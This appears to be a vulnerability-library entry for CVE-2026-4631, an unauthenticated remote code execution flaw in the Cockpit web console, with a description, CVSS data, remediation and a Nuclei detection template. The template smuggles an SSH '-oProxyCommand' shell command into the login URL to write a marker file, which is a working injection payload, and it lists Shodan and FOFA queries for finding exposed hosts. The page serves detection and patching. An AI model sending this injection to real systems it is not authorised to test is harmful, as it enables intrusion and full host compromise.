/Vulnerability Library

Cockpit Web Console < 360 - Remote Code Execution

CVE-2026-4631
Early Release

Description

Cockpit's remote login feature passes user-supplied hostnames and usernames from the web interface to the SSH client without validation or sanitization. An attacker with network access to the Cockpit web service can craft a single HTTP request to the login endpoint that injects malicious SSH options or shell commands, achieving code execution on the Cockpit host without valid credentials. The injection occurs during the authentication flow before any credential verification takes place, meaning no login is required to exploit the vulnerability.

Severity

Critical

CVSS Score

9.8

Exploit Probability

2%

Affected Product

cockpit

Published Date

April 15, 2026

Template Author

dhiyaneshdk

CVE-2026-4631.yaml
id: CVE-2026-4631

info:
  name: Cockpit Web Console < 360 - Remote Code Execution
  author: DhiyaneshDk
  severity: critical
  description: |
    Cockpit's remote login feature passes user-supplied hostnames and usernames from the web interface to the SSH client without validation or sanitization. An attacker with network access to the Cockpit web service can craft a single HTTP request to the login endpoint that injects malicious SSH options or shell commands, achieving code execution on the Cockpit host without valid credentials. The injection occurs during the authentication flow before any credential verification takes place, meaning no login is required to exploit the vulnerability.
  impact: |
    Attackers can execute arbitrary code on the Cockpit host without valid credentials, leading to full system compromise.
  remediation: Update to the latest version with input validation and sanitization for SSH parameters.
  reference:
    - https://github.com/cockpit-project/cockpit/security/advisories/GHSA-m4gv-x78h-3427
    - https://github.com/cockpit-project/cockpit/commit/9d0695647
    - https://github.com/allisonkarlitskaya/ferny/commit/44ec511c99
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-4631
    epss-score: 0.01823
    epss-percentile: 0.82913
    cwe-id: CWE-78
    cpe: cpe:2.3:a:cockpit-project:cockpit:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: cockpit-project
    product: cockpit
    shodan-query: title:"Cockpit"
    fofa-query: title="Cockpit"
  tags: cve,cve2026,cockpit,rce,unauthenticated

flow: http(1) && http(2)

variables:
  filename: "{{to_lower(rand_text_alpha(5))}}"

http:
  - raw:
      - |
        GET /cockpit+=-oProxyCommand=echo%20CVE-2026-4631%20%3E%20%2Fusr%2Fshare%2Fcockpit%2Fstatic%2F{{filename}}.txt%20%23/login HTTP/1.1
        Host: {{Hostname}}
        Authorization: Basic Og==

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 401'
          - 'contains(body, "authentication-failed")'
        condition: and
        internal: true

  - raw:
      - |
        GET /cockpit/static/{{filename}}.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "CVE-2026-4631")'
        condition: and
# digest: 4a0a00473045022100fe61d21124829ff275da2876e1069bc80dcd3313f8a93bc778d6b00e372f3a5d022044294a2412d0bf89d40e0e8a0f78967785cb4f6aa92cec850223f1ecf95c56e9:922c64590222798bb761d5b6d8e72950
9.8Score

CVSS Metrics

CVSS Vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CVE ID:
cve-2026-4631
CWE ID:
cwe-78

References

https://github.com/cockpit-project/cockpit/security/advisories/GHSA-m4gv-x78h-3427https://github.com/cockpit-project/cockpit/commit/9d0695647https://github.com/allisonkarlitskaya/ferny/commit/44ec511c99

Remediation Steps

Update to the latest version with input validation and sanitization for SSH parameters.